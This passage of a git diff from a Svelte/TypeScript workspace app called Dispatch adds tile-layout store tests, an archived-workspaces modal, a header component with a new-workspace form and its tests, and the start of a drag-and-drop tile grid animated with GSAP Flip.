+ expect(store.entries.map((t) => t.id)).toEqual(["a", "b"]);
+ });
+
+ it("sync appends unknown ids, drops deleted ones, and persists once", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0), tile("gone", 1)) });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ store.sync(["a", "b"]);
+ await settle();
+
+ expect(store.entries.map((t) => t.id)).toEqual(["a", "b"]);
+ // The max order counts KEPT entries (the dropped one doesn't reserve a slot).
+ expect(http.puts.at(-1)?.layout).toEqual(
+ doc(tile("a", 0), { id: "b", colSpan: 1, rowSpan: 1, order: 1 }),
+ );
+ });
+
+ it("sync is a no-op (no write) when the merge changes nothing", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ store.sync(["a"]);
+ store.sync(["a"]);
+ await settle();
+
+ expect(http.puts).toHaveLength(0);
+ });
+
+ it("placeAtCell commits the displacement and pins EVERY tile (persisted to the server)", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0), tile("b", 1)) });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ // a@(1,1), b@(1,2) → drag a to (2,1): a pins there, b keeps its cell.
+ store.placeAtCell("a", { col: 2, row: 1 }, WIDE);
+ await settle();
+
+ const entries = store.entries;
+ expect(entries.find((t) => t.id === "a")).toMatchObject({ col: 2, row: 1 });
+ expect(entries.find((t) => t.id === "b")).toMatchObject({ col: 1, row: 2 });
+ expect(http.puts.at(-1)?.layout.version).toBe(2);
+ });
+
+ it("placeAtCell with an unknown id is a no-op (no write)", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ store.placeAtCell("nope", { col: 1, row: 1 }, WIDE);
+ await settle();
+
+ expect(http.puts).toHaveLength(0);
+ expect(store.entries).toEqual([tile("a", 0)]);
+ });
+
+ it("placeFirstEmpty PINS the new id at the first empty slot (idempotent on re-call)", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0, 1, 2), tile("b", 1)) });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ store.placeFirstEmpty("new", WIDE);
+ await settle();
+
+ // a packs rows 1-2, b row 3 → the first empty slot is (col1,row4) → pinned.
+ expect(store.entries.find((t) => t.id === "new")).toMatchObject({ col: 1, row: 4 });
+ expect(http.puts.at(-1)?.layout.tiles.map((t) => t.id)).toEqual(["a", "b", "new"]);
+
+ store.placeFirstEmpty("new", WIDE); // the create flow's re-call must be stable
+ expect(store.entries.find((t) => t.id === "new")).toMatchObject({ col: 1, row: 4 });
+ });
+
+ it("sortByRecentActivity re-applies recent-activity order and CLEARs pins", async () => {
+ const http = fakeHttp({
+ wide: doc({ ...tile("a", 0), col: 1, row: 1 }, { ...tile("b", 1), col: 2, row: 3 }),
+ });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ store.sortByRecentActivity(
+ new Map([
+ ["a", 10],
+ ["b", 99],
+ ]),
+ );
+
+ expect(store.entries.map((t) => t.id)).toEqual(["b", "a"]);
+ expect(store.entries.every((t) => t.col === undefined && t.row === undefined)).toBe(true);
+ });
+
+ it("a WS push supersedes a queued edit (the server's copy wins)", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http, debounceMs: 300 });
+ await flushOnly();
+
+ store.resize("a", 4, 2); // edit queued…
+ store.onServerTileLayout("wide", doc(tile("server-wins", 0))); // …server lands first
+ await settle();
+
+ expect(store.entries.map((t) => t.id)).toEqual(["server-wins"]);
+ expect(http.puts).toHaveLength(0); // the queued edit was dropped, not PUT
+ });
+
+ it("probe() re-reads the active orientation (the reconnect catch-up)", async () => {
+ const http = fakeHttp({ wide: doc() });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ http.docs.set("wide", doc(tile("fresh", 0)));
+ await store.probe();
+ expect(store.entries.map((t) => t.id)).toEqual(["fresh"]);
+ });
+});
diff --git a/src/features/workspaces/ui/ArchivedWorkspaces.svelte b/src/features/workspaces/ui/ArchivedWorkspaces.svelte
new file mode 100644
index 0000000..584fd68
--- /dev/null
+++ b/src/features/workspaces/ui/ArchivedWorkspaces.svelte
@@ -0,0 +1,119 @@
+<script lang="ts">
+ import type { WorkspaceEntry } from "@dispatch/wire";
+ import type { WorkspaceStore } from "../store.svelte";
+ import { relativeTime } from "../logic/view-model";
+
+ let {
+ store,
+ onOpen,
+ onClose,
+ }: {
+ store: WorkspaceStore;
+ /** Open (view) a workspace — navigates to `/<id>`. */
+ onOpen: (id: string) => void;
+ onClose: () => void;
+ } = $props();
+
+ // Load the archived list when the modal mounts.
+ $effect(() => {
+ void store.refreshArchived();
+ });
+
+ let busyId = $state<string | null>(null);
+ let actionError = $state<string | null>(null);
+
+ async function unarchive(ws: WorkspaceEntry): Promise<void> {
+ if (busyId !== null) return;
+ busyId = ws.id;
+ actionError = null;
+ const result = await store.setArchived(ws.id, false);
+ busyId = null;
+ if (!result.ok) {
+ actionError = result.error;
+ return;
+ }
+ // Refresh the archived list so the unarchived workspace leaves it.
+ void store.refreshArchived();
+ }
+
+ function open(ws: WorkspaceEntry): void {
+ onOpen(ws.id);
+ onClose();
+ }
+</script>
+
+<div class="modal modal-open" role="dialog" aria-label="Archived workspaces">
+ <div class="modal-box max-w-lg">
+ <div class="flex items-start justify-between gap-2">
+ <div>
+ <h2 class="text-lg font-bold">Archived workspaces</h2>
+ <p class="text-xs opacity-50">Hidden from the home grid. Unarchive to restore.</p>
+ </div>
+ <button
+ type="button"
+ class="btn btn-circle btn-ghost btn-sm"
+ aria-label="Close archived workspaces"
+ onclick={onClose}>✕</button
+ >
+ </div>
+
+ {#if actionError}
+ <p class="mt-3 text-xs text-error">{actionError}</p>
+ {/if}
+
+ <div class="mt-4">
+ {#if store.archivedLoading && store.archivedList.length === 0}
+ <div class="flex justify-center py-8">
+ <span class="loading loading-spinner loading-md opacity-60"></span>
+ </div>
+ {:else if store.archivedList.length === 0}
+ <p class="py-8 text-center text-sm opacity-50">No archived workspaces.</p>
+ {:else}
+ <ul class="flex flex-col gap-2">
+ {#each store.archivedList as ws (ws.id)}
+ <li
+ class="flex items-center justify-between gap-3 rounded-box border border-base-content/10 bg-base-200/40 px-3 py-2"
+ >
+ <div class="min-w-0 flex-1">
+ <p class="truncate font-semibold">{ws.title}</p>
+ <p class="font-mono text-xs opacity-50">
+ /{ws.id} · {ws.conversationCount} conv · {relativeTime(
+ ws.lastActivityAt,
+ Date.now(),
+ )} ago
+ </p>
+ </div>
+ <div class="flex shrink-0 items-center gap-1">
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs"
+ onclick={() => open(ws)}
+ aria-label={`Open ${ws.title}`}>View</button
+ >
+ <button
+ type="button"
+ class="btn btn-outline btn-xs"
+ disabled={busyId === ws.id}
+ onclick={() => void unarchive(ws)}
+ aria-label={`Unarchive ${ws.title}`}
+ >
+ {#if busyId === ws.id}
+ <span class="loading loading-spinner loading-xs"></span>
+ {:else}
+ Unarchive
+ {/if}
+ </button>
+ </div>
+ </li>
+ {/each}
+ </ul>
+ {/if}
+ </div>
+ </div>
+ <!-- Click outside closes. -->
+ <button
+ type="button"
+ class="modal-backdrop"
+ aria-label="Close archived workspaces backdrop"
+ onclick={onClose}></button>
+</div>
diff --git a/src/features/workspaces/ui/HomeHeader.svelte b/src/features/workspaces/ui/HomeHeader.svelte
new file mode 100644
index 0000000..5329b2d
--- /dev/null
+++ b/src/features/workspaces/ui/HomeHeader.svelte
@@ -0,0 +1,198 @@
+<script lang="ts">
+ import ArchiveIcon from "phosphor-svelte/lib/ArchiveIcon";
+ import DotsThreeIcon from "phosphor-svelte/lib/DotsThreeIcon";
+ import PlusIcon from "phosphor-svelte/lib/PlusIcon";
+ import PuzzlePieceIcon from "phosphor-svelte/lib/PuzzlePieceIcon";
+ import { isValidSlug } from "../logic/route";
+
+ /** The create outcome the page reports back to the popover. */
+ export type CreateResult = { readonly ok: true } | { readonly ok: false; readonly error: string };
+
+ let {
+ compact = false,
+ withPlugins = false,
+ withSort = false,
+ onCreate,
+ onOpenPlugins,
+ onSort,
+ onOpenArchived,
+ }: {
+ /** Tall geometry: the controls collapse to compact icon buttons and the
+ * new-workspace popover becomes a bottom sheet. */
+ compact?: boolean;
+ /** The plugins port is present → the Plugins button renders. */
+ withPlugins?: boolean;
+ /** The Sort overflow action renders (recent-activity re-apply). */
+ withSort?: boolean;
+ /** Create the workspace on the backend (does NOT navigate); the page
+ * places the new tile + enters rename mode. */
+ onCreate: (slug: string) => Promise<CreateResult>;
+ onOpenPlugins: () => void;
+ onSort: () => void;
+ /** Open the archived-workspaces view. */
+ onOpenArchived: () => void;
+ } = $props();
+
+ // ── New workspace popover (today's inline form logic, preserved) ──────────
+ let newSlug = $state("");
+ let slugError = $state<string | null>(null);
+ let popoverOpen = $state(false);
+ let submitting = $state(false);
+ let slugInput = $state<HTMLInputElement | undefined>();
+
+ const slugValid = $derived(newSlug.length > 0 && isValidSlug(newSlug));
+
+ function openPopover(): void {
+ popoverOpen = true;
+ slugError = null;
+ queueMicrotask(() => slugInput?.focus());
+ }
+
+ function closePopover(): void {
+ popoverOpen = false;
+ newSlug = "";
+ slugError = null;
+ }
+
+ async function submit(): Promise<void> {
+ const slug = newSlug.trim();
+ if (!isValidSlug(slug)) {
+ slugError = "Lowercase letters, digits, and hyphens (1–40 chars).";
+ return;
+ }
+ slugError = null;
+ submitting = true;
+ const result = await onCreate(slug);
+ submitting = false;
+ if (!result.ok) {
+ slugError = result.error;
+ return;
+ }
+ closePopover();
+ }
+</script>
+
+<!-- `.app-navbar` (app.css): the same Artix-wiki navbar look as the workspace
+ top bar — gradient, drop shadow, engraved primary-blue title. -->
+<header class="app-navbar flex shrink-0 items-end justify-between gap-2 px-8 pt-6 pb-4 md:px-12">
+ <div class="flex items-baseline gap-3">
+ <h1 class="app-navbar-engraved text-4xl font-black tracking-tight text-primary">Dispatch</h1>
+ <span class="hidden text-sm font-medium tracking-widest uppercase text-primary/70 sm:inline">
+ Workspaces
+ </span>
+ </div>
+
+ <!-- Navbar actions (app.css): "New workspace" is the one raised button
+ (`.navbar-btn`, primary-tinted); the secondary actions are plain text
+ links (`.navbar-link`) — the light-blue colour + spacing say clickable
+ without button chrome. Compact: labels collapse to Phosphor icons. -->
+ <div class="flex items-center gap-1" class:gap-3={!compact}>
+ <!-- New workspace -->
+ <button
+ type="button"
+ class="navbar-btn navbar-btn-primary"
+ class:navbar-btn-icon={compact}
+ aria-label="New workspace"
+ title="New workspace"
+ onclick={() => (popoverOpen ? closePopover() : openPopover())}
+ >
+ <PlusIcon size={16} weight="bold" aria-hidden="true" />
+ {#if !compact}<span>New workspace</span>{/if}
+ </button>
+
+ {#if withPlugins}
+ <button
+ type="button"
+ class="navbar-link"
+ aria-label="Plugins"
+ title="Open the plugin manager (load/unload plugins globally)"
+ onclick={onOpenPlugins}
+ >
+ {#if compact}<PuzzlePieceIcon size={18} aria-hidden="true" />{:else}<span>Plugins</span>{/if}
+ </button>
+ {/if}
+
+ <!-- Archived workspaces -->
+ <button
+ type="button"
+ class="navbar-link"
+ aria-label="Archived workspaces"
+ title="View archived workspaces"
+ onclick={onOpenArchived}
+ >
+ {#if compact}<ArchiveIcon size={18} aria-hidden="true" />{:else}<span>Archived</span>{/if}
+ </button>
+
+ {#if withSort}
+ <!-- Overflow last, like a navbar's trailing menu. -->
+ <div class="dropdown dropdown-end">
+ <button
+ type="button"
+ class="navbar-link"
+ aria-label="More actions"
+ title="More"
+ >
+ <DotsThreeIcon size={20} weight="bold" aria-hidden="true" />
+ </button>
+ <ul class="dropdown-content menu z-50 mt-1 w-52 rounded-box border border-base-content/15 bg-base-100 p-2 shadow-xl">
+ <li>
+ <button type="button" onclick={onSort}>Reset arrangement by recent activity</button>
+ </li>
+ </ul>
+ </div>
+ {/if}
+ </div>
+</header>
+
+{#if popoverOpen}
+ <!-- Backdrop closes the popover. -->
+ <button
+ type="button"
+ class="fixed inset-0 z-40 cursor-default"
+ aria-label="Close new workspace"
+ onclick={closePopover}></button>
+
+ <!-- One popover body; the geometry only changes its positioning (bottom
+ sheet on tall screens, a corner card on wide ones). -->
+ <div
+ class="fixed z-50 border border-base-content/15 bg-base-100 p-4 shadow-2xl"
+ class:inset-x-0={compact}
+ class:bottom-0={compact}
+ class:rounded-t-box={compact}
+ class:top-14={!compact}
+ class:right-6={!compact}
+ class:w-80={!compact}
+ class:rounded-box={!compact}
+ >
+ <form
+ class="flex flex-col gap-2"
+ onsubmit={(e) => {
+ e.preventDefault();
+ void submit();
+ }}
+ >
+ <label for="new-ws" class="text-xs font-semibold uppercase opacity-60">New workspace</label>
+ <input
+ id="new-ws"
+ bind:this={slugInput}
+ class="input input-bordered w-full"
+ placeholder="my-workspace"
+ bind:value={newSlug}
+ autocomplete="off"
+ spellcheck="false"
+ />
+ {#if slugError}<p class="text-xs text-error">{slugError}</p>{/if}
+ <div class="flex justify-end gap-2">
+ {#if compact}
+ <button type="button" class="btn btn-ghost btn-sm" onclick={closePopover}>Cancel</button>
+ {/if}
+ <button type="submit" class="btn btn-primary btn-sm" disabled={!slugValid || submitting}>
+ {#if submitting}
+ <span class="loading loading-spinner loading-xs"></span>
+ {/if}
+ Create
+ </button>
+ </div>
+ </form>
+ </div>
+{/if}
diff --git a/src/features/workspaces/ui/HomeHeader.test.ts b/src/features/workspaces/ui/HomeHeader.test.ts
new file mode 100644
index 0000000..4db8b04
--- /dev/null
+++ b/src/features/workspaces/ui/HomeHeader.test.ts
@@ -0,0 +1,94 @@
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import HomeHeader from "./HomeHeader.svelte";
+
+function props() {
+ return {
+ onCreate: vi.fn(async (_slug: string): Promise<{ ok: true }> => ({ ok: true })),
+ onOpenPlugins: vi.fn(),
+ onSort: vi.fn(),
+ onOpenArchived: vi.fn(),
+ };
+}
+
+describe("HomeHeader", () => {
+ it("renders the display title and the primary New workspace button", () => {
+ const p = props();
+ render(HomeHeader, { props: p });
+ expect(screen.getByRole("heading", { name: "Dispatch" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "New workspace" })).toBeInTheDocument();
+ });
+
+ it("the Plugins button renders only with the plugins port", () => {
+ const p = props();
+ const without = render(HomeHeader, { props: p });
+ expect(without.queryByRole("button", { name: "Plugins" })).toBeNull();
+ without.unmount();
+
+ render(HomeHeader, { props: { ...p, withPlugins: true } });
+ screen.getByRole("button", { name: "Plugins" }).click();
+ expect(p.onOpenPlugins).toHaveBeenCalledTimes(1);
+ });
+
+ it("the Sort overflow renders only when asked, and dispatches", async () => {
+ const user = userEvent.setup();
+ const p = props();
+ render(HomeHeader, { props: { ...p, withSort: true } });
+
+ await user.click(screen.getByRole("button", { name: "More actions" }));
+ await user.click(screen.getByRole("button", { name: "Reset arrangement by recent activity" }));
+ expect(p.onSort).toHaveBeenCalledTimes(1);
+ });
+
+ it("the Create button disables for an invalid slug (validation before submit)", async () => {
+ const user = userEvent.setup();
+ const p = props();
+ render(HomeHeader, { props: p });
+
+ await user.click(screen.getByRole("button", { name: "New workspace" }));
+ const input = screen.getByRole("textbox", { name: "New workspace" });
+ await user.type(input, "Invalid Slug!");
+ expect(screen.getByRole("button", { name: "Create" })).toBeDisabled();
+ expect(p.onCreate).not.toHaveBeenCalled();
+
+ // A valid slug enables it.
+ await user.clear(input);
+ await user.type(input, "my-workspace");
+ expect(screen.getByRole("button", { name: "Create" })).toBeEnabled();
+ });
+
+ it("submitting the form with Enter creates via the callback and closes the popover", async () => {
+ const user = userEvent.setup();
+ const p = props();
+ render(HomeHeader, { props: p });
+
+ await user.click(screen.getByRole("button", { name: "New workspace" }));
+ await user.type(screen.getByRole("textbox", { name: "New workspace" }), "my-workspace{Enter}");
+
+ expect(p.onCreate).toHaveBeenCalledWith("my-workspace");
+ });
+
+ it("a backend error keeps the form open with the message", async () => {
+ const user = userEvent.setup();
+ const onCreate = vi.fn(
+ async (): Promise<{ ok: false; error: string }> => ({ ok: false, error: "taken" }),
+ );
+ render(HomeHeader, { props: { ...props(), onCreate } });
+
+ await user.click(screen.getByRole("button", { name: "New workspace" }));
+ await user.type(screen.getByRole("textbox", { name: "New workspace" }), "my-workspace");
+ await user.click(screen.getByRole("button", { name: "Create" }));
+
+ expect(await screen.findByText("taken")).toBeInTheDocument();
+ });
+
+ it("compact mode collapses the primary button to an icon", () => {
+ const p = props();
+ render(HomeHeader, { props: { ...p, compact: true } });
+ const button = screen.getByRole("button", { name: "New workspace" });
+ expect(button).toHaveClass("navbar-btn-icon");
+ expect(button).toHaveTextContent(""); // icon only — the label collapses
+ expect(button.querySelector("svg")).not.toBeNull();
+ });
+});
diff --git a/src/features/workspaces/ui/HomeTileGrid.svelte b/src/features/workspaces/ui/HomeTileGrid.svelte
new file mode 100644
index 0000000..40a46c5
--- /dev/null
+++ b/src/features/workspaces/ui/HomeTileGrid.svelte
@@ -0,0 +1,568 @@
+<script lang="ts">
+ import type { WorkspaceEntry } from "@dispatch/wire";
+ import { gsap } from "gsap";
+ import { Flip } from "gsap/Flip";
+ import { tick } from "svelte";
+ import { nextDragPhase, type DragEvent, type DragPhase } from "../logic/drag-controller";
+ import {
+ displacePlace,
+ dragAppendLimit,
+ type Cell,
+ type GridGeometry,
+ type Placement,
+ type Span,
+ } from "../logic/tile-layout";
+ import { tileTone, type TileTone } from "../logic/view-model";
+ import type { WorkspaceStore } from "../store.svelte";
+ import WorkspaceTile from "./WorkspaceTile.svelte";
+
+ gsap.registerPlugin(Flip);
+
+ let {
+ geometry,
+ placements,
+ workspacesById,
+ store,
+ selectedId = null,
+ renamingId = null,
+ preview = null,
+ hasActive,
+ onOpen,
+ onSelect,
+ onPlace,
+ onRenameEnd,
+ }: {
+ geometry: GridGeometry;
+ /** Packed placements of the COMMITTED layout (the drag preview derives). */
+ placements: readonly Placement[];
+ workspacesById: ReadonlyMap<string, WorkspaceEntry>;
+ /** Forwarded to tiles for the inline rename (semantics preserved). */
+ store: WorkspaceStore;
+ selectedId?: string | null;
+ renamingId?: string | null;
+ /** The resize picker's transient ghost footprint for this tile. */
+ preview?: { readonly id: string; readonly colSpan: number; readonly rowSpan: number } | null;
+ /** Optional port: does the workspace have an active (generating) conversation. */
+ hasActive?: (workspaceId: string) => boolean;
+ onOpen: (id: string) => void;
+ onSelect: (id: string) => void;
+ /** The drag dropped `id` at `cell` (null = the pointer never resolved to a cell). */
+ onPlace: (id: string, cell: Cell | null) => void;
+ onRenameEnd: () => void;
+ } = $props();
+
+ // ── Drag/press state machine (pure logic, wired to pointer events) ────────
+ const DRAG_THRESHOLD_PX = 6;
+ const LONG_PRESS_MS = 500;
+ let phase = $state<DragPhase>({ kind: "idle" });
+ let longPressTimer: ReturnType<typeof setTimeout> | undefined;
+ /** Pointer position where the current press began (the follow transform base). */
+ let pressOrigin = $state<{ x: number; y: number } | null>(null);
+ /** Where within the pressed tile the pointer grabbed (its follow-transform base). */
+ let grabOffset = $state<{ x: number; y: number } | null>(null);
+ /** The tile mid-settle after a drop (excluded from FLIP until it lands). */
+ let settling = $state<string | null>(null);
+
+ function armLongPress(): void {
+ disarmLongPress();
+ longPressTimer = setTimeout(() => {
+ longPressTimer = undefined;
+ dispatch({ type: "long-press" });
+ }, LONG_PRESS_MS);
+ }
+
+ function disarmLongPress(): void {
+ if (longPressTimer !== undefined) {
+ clearTimeout(longPressTimer);
+ longPressTimer = undefined;
+ }
+ }
+
+ function dispatch(event: DragEvent): void {
+ const wasDragging = phase.kind === "dragging" ? phase.id : null;
+ const transition = nextDragPhase(phase, event, { dragThresholdPx: DRAG_THRESHOLD_PX });
+ phase = transition.phase;
+ const emit = transition.emit;
+ if (emit) {
+ if (emit.kind === "tap") onOpen(emit.id);
+ else if (emit.kind === "lift") onSelect(emit.id);
+ else if (emit.kind === "drop") drop(emit.id, emit.targetCell);
+ }
+ if (phase.kind === "idle") {
+ // The gesture ended (tap/drop/cancel). A DROP settles via `drop` above;
+ // a CANCEL mid-drag flies the tile back to its committed slot.
+ if (wasDragging && emit?.kind !== "drop") flyBack(wasDragging);
+ pressOrigin = null;
+ grabOffset = null;
+ }
+ // Keep the long-press armed exactly while a TOUCH press is undecided.
+ if (phase.kind === "pressing" && phase.touch) armLongPress();
+ else disarmLongPress();
+ }
+
+ /** The tile being dragged (or settling after a drop) follows no FLIP. */
+ const excludedFromFlip = $derived(
+ new Set(
+ [phase.kind === "dragging" ? phase.id : null, settling].filter(
+ (id): id is string => id !== null,
+ ),
+ ),
+ );
+
+ /** Commit the drop, then settle the tile from the pointer onto its new cell. */
+ function drop(id: string, cell: Cell | null): void {
+ if (cell !== null) onPlace(id, cell);
+ flyBack(id);
+ }
+
+ /**
+ * Animate the tile's follow transform to identity at its (possibly new)
+ * committed slot — the drop settle AND the cancel/Escape fly-back. The tile
+ * is excluded from Flip until the animation completes so the two never
+ * fight over the same transform.
+ */
+ function flyBack(id: string): void {
+ const el = tileEls.get(id);
+ if (!el) return;
+ settling = id;
+ void tick().then(() => {
+ gsap.to(el, {
+ x: 0,
+ y: 0,
+ scale: 1,
+ duration: 0.2,
+ ease: "power2.out",
+ onComplete: () => {
+ gsap.set(el, { clearProps: "transform" });
+ settling = null;
+ },
+ });
+ });
+ }
+
+ /** Interactive targets inside a tile (the rename input) own their gestures. */
+ function insideInteractive(target: EventTarget | null): boolean {
+ const el = target instanceof HTMLElement ? target : null;
+ return el?.closest("input, select, textarea, button, a") !== null;
+ }
+
+ /**
+ * Drag gestures live on the GRID CONTAINER, not the tiles: the container is
+ * never re-parented, never toggles `pointer-events`, and never unmounts, so
+ * pointer capture set here survives the whole gesture. (A captured element
+ * whose DOM node MOVES loses its capture — the "stuck tile" bug — and an
+ * uncaptured pointer can't stream events over empty cells — the empty-cell
+ * bug.) Capture also keeps move/up flowing when the pointer leaves the grid.
+ */
+ function gridPointerDown(e: PointerEvent): void {
+ if (e.button !== 0) return;
+ const tileEl = (e.target as Element | null)?.closest("[data-tile-id]");
+ if (!tileEl || insideInteractive(e.target)) return;
+ const id = tileEl.getAttribute("data-tile-id");
+ if (id === null) return;
+ // Capture mouse/pen so fast drags keep streaming to this container. TOUCH
+ // is purposely NOT captured here: an early touch capture can suppress
+ // native scrolling (WebKit), and touch already gets the browser's implicit
+ // capture — after the long-press lift the moved events bubble up to this
+ // container anyway.
+ if (e.pointerType !== "touch") gridEl?.setPointerCapture?.(e.pointerId);
+ // Where within the tile the pointer grabbed — the follow transform keeps
+ // THIS point under the pointer (not the tile's top-left origin).
+ const rect = tileEl.getBoundingClientRect();
+ grabOffset = { x: e.clientX - rect.left, y: e.clientY - rect.top };
+ pressOrigin = { x: e.clientX, y: e.clientY };
+ dispatch({
+ type: "pointer-down",
+ id,
+ x: e.clientX,
+ y: e.clientY,
+ touch: e.pointerType === "touch",
+ });
+ }
+
+ function gridPointerMove(e: PointerEvent): void {
+ if (phase.kind === "idle") return;
+ dispatch({
+ type: "pointer-move",
+ x: e.clientX,
+ y: e.clientY,
+ targetCell: cellAt(e.clientX, e.clientY),
+ });
+ }
+
+ function gridPointerUp(): void {
+ if (phase.kind === "idle") return;
+ dispatch({ type: "pointer-up" });
+ }
+
+ // Escape mid-drag: cancel BEFORE the page-level Escape unwinds the
+ // selection — the committed layout is untouched and the tile flies home.
+ function windowKeydown(e: KeyboardEvent): void {
+ if (e.key !== "Escape" || phase.kind === "idle") return;
+ e.stopPropagation();
+ dispatch({ type: "cancel" });
+ }
+
+ // ── Cell hit math (pointer → grid cell; empty cells are drop targets) ─────
+ let gridEl = $state<HTMLDivElement | undefined>();
+
+ const pitchX = $derived(geometry.unit.width + geometry.unit.gap);
+ const pitchY = $derived(geometry.unit.height + geometry.unit.gap);
+
+ /**
+ * The drag target's clamp on the growth axis — at most 3 columns (wide) /
+ * rows (tall) past the current content edge. Measured on the COMMITTED
+ * placements (the drag preview never ratchets the limit mid-drag), so the
+ * canvas can't endlessly grow when dragging far right / down.
+ */
+ const appendLimit = $derived(dragAppendLimit(placements, geometry));
+
+ function cellAt(clientX: number, clientY: number): Cell | null {
+ const el = gridEl;
+ if (!el) return null;
+ const rect = el.getBoundingClientRect();
+ const wide = geometry.mode === "wide";
+ // Wide: fixed-width columns at the pitch. Tall: fluid 1fr columns.
+ const cellW = wide ? pitchX : rect.width / geometry.flowCols;
+ const col = Math.max(1, Math.floor((clientX - rect.left) / cellW) + 1);
+ const row = Math.max(1, Math.floor((clientY - rect.top) / pitchY) + 1);
+ return {
+ col: wide ? Math.min(col, appendLimit) : Math.min(col, geometry.flowCols),
+ row: wide ? Math.min(row, geometry.flowRows) : Math.min(row, appendLimit),
+ };
+ }
+
+ // ── The drag preview: COMMITTED placements + displacement, fresh per cell ─
+ /** The dragged tile's id while a drag is in flight (else null). */
+ const draggedId = $derived<string | null>(
+ phase.kind === "dragging" ? phase.id : null,
+ );
+ const draggedPlacement = $derived(
+ draggedId !== null
+ ? (placements.find((placement) => placement.id === draggedId) ?? null)
+ : null,
+ );
+
+ /** The pointer's hovered cell while dragging (else null). */
+ const hoveredCell = $derived<Cell | null>(
+ phase.kind === "dragging" ? phase.targetCell : null,
+ );
+
+ /** The landing cell: where the pointer is, else the tile's committed slot. */
+ const targetCell = $derived<Cell | null>(
+ hoveredCell ??
+ (draggedPlacement ? { col: draggedPlacement.col, row: draggedPlacement.row } : null),
+ );
+
+ /**
+ * What to render: while dragging, the displacement of the COMMITTED layout
+ * at the target cell — recomputed from committed on EVERY hover change (as
+ * if the user moved straight from the original to here); the FLIP below
+ * animates from wherever the tiles currently are. Otherwise the committed
+ * placements.
+ */
+ const rendered = $derived(
+ draggedPlacement && targetCell && draggedId !== null
+ ? displacePlace(placements, draggedId, targetCell, geometry)
+ : placements,
+ );
+
+ // ── FLIP reflow (GSAP Flip — re-entrant: captures mid-flight positions) ───
+ let tileEls = new Map<string, HTMLElement>();
+
+ function trackTile(el: HTMLElement, id: string): { destroy: () => void } {
+ tileEls.set(id, el);
+ return {
+ destroy() {
+ tileEls.delete(id);
+ },
+ };
+ }
+
+ let flipState: ReturnType<typeof Flip.getState> | null = null;
+
+ $effect.pre(() => {
+ // Track the layout inputs; the DOM read below is intentionally untracked.
+ void rendered
+ .map((p) => `${p.id}:${p.col},${p.row},${p.colSpan}x${p.rowSpan}`)
+ .join("|");
+ void geometry.mode;
+ flipState = Flip.getState(
+ [...tileEls].filter(([id]) => !excludedFromFlip.has(id)).map(([, el]) => el),
+ );
+ });
+
+ $effect(() => {
+ void rendered;
+ void geometry.mode;
+ const state = flipState;
+ flipState = null;
+ if (!state) return;
+ Flip.from(state, {
+ duration: 0.25,
+ // Fast start, decelerating arrival — the reflow sweeps out and settles
+ // into the destination (an inOut curve would ease INTO the motion too).
+ ease: "power3.out",
+ nested: true,
+ onEnter: (elements) => gsap.fromTo(elements, { opacity: 0 }, { opacity: 1, duration: 0.2 }),
+ });
+ });
+
+ // ── Wide-mode horizontal panning: wheel + pan arrow + scroll indicator ────
+ let scrollerEl = $state<HTMLDivElement | undefined>();
+ let scrollProgress = $state(0);
+ let canPan = $state(false);
+
+ function updateScroll(): void {
+ const el = scrollerEl;
+ if (!el) return;
+ const max = el.scrollWidth - el.clientWidth;
+ canPan = geometry.mode === "wide" && max > 1;
+ scrollProgress = max > 0 ? el.scrollLeft / max : 0;
+ }
+
+ $effect(() => {
+ // Re-measure when the geometry flips, the content changes, or a drag
+ // starts/ends (the canvas grows with the preview and shrinks back after).
+ void geometry.mode;
+ void placements.length;
+ void dragging;
+ updateScroll();
+ });
+
+ function handleWheel(e: WheelEvent): void {
+ // Vertical wheel pans the wide canvas horizontally.
+ if (geometry.mode !== "wide" || Math.abs(e.deltaY) <= Math.abs(e.deltaX)) return;
+ e.preventDefault();
+ scrollerEl?.scrollBy({ left: e.deltaY });
+ }
+
+ function pan(): void {
+ const el = scrollerEl;
+ if (!el) return;
+ const max = el.scrollWidth - el.clientWidth;
+ const atEnd = el.scrollLeft >= max - 1;
+ // One viewport sideways; past the end, pan back to the start.
+ el.scrollBy({ left: atEnd ? -max - el.clientWidth : el.clientWidth, behavior: "smooth" });
+ }
+
+ // ── Grid + tile styles (the geometry decides; no breakpoint classes) ──────
+ const dragging = $derived(phase.kind === "dragging");
+
+ const gridStyle = $derived.by(() => {
+ const wide = geometry.mode === "wide";
+ // Content-driven canvas: the grid hugs its content (max-content / auto),
+ // so the scrollbar GROWS as the preview reaches right/down and SHRINKS when
+ // the gesture ends — the drag sees the scrollbar move as it should. The
+ // drop-target clamp (`cellAt` → dragAppendLimit) bounds how far the preview
+ // can extend, so the canvas never grows past the committed edge + 3.
+ const base =
+ (wide
+ ? `grid-template-rows: repeat(${geometry.flowRows}, ${geometry.unit.height}px);` +
+ ` grid-auto-flow: column; grid-auto-columns: ${geometry.unit.width}px;` +
+ ` gap: ${geometry.unit.gap}px; width: max-content;`
+ : `grid-template-columns: repeat(${geometry.flowCols}, minmax(0, 1fr));` +
+ ` grid-auto-flow: row; grid-auto-rows: ${geometry.unit.height}px;` +
+ ` gap: ${geometry.unit.gap}px;`);
+ if (!dragging) return base;
+ // The drop-target dots: one faint dot at each unit cell's CENTER, painted
+ // as a background whose tile is the cell pitch. One extra pitch of padding
+ // past the content end gives the append-slot a dot too.
+ const dotSize = wide ? `${pitchX}px` : `calc(100% / ${geometry.flowCols})`;
+ const dotX = wide ? geometry.unit.width / 2 : 0;
+ const dot =
+ ` background-image: radial-gradient(circle 2.5px,` +
+ ` color-mix(in oklab, var(--color-base-content) 22%, transparent) 98%, transparent 100%);` +
